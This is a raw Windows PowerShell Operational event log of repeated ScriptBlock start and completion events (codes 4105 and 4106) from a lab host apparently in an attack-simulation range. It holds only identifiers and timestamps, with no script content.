Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041739
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041737
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041736
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041720
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041719
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041713
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
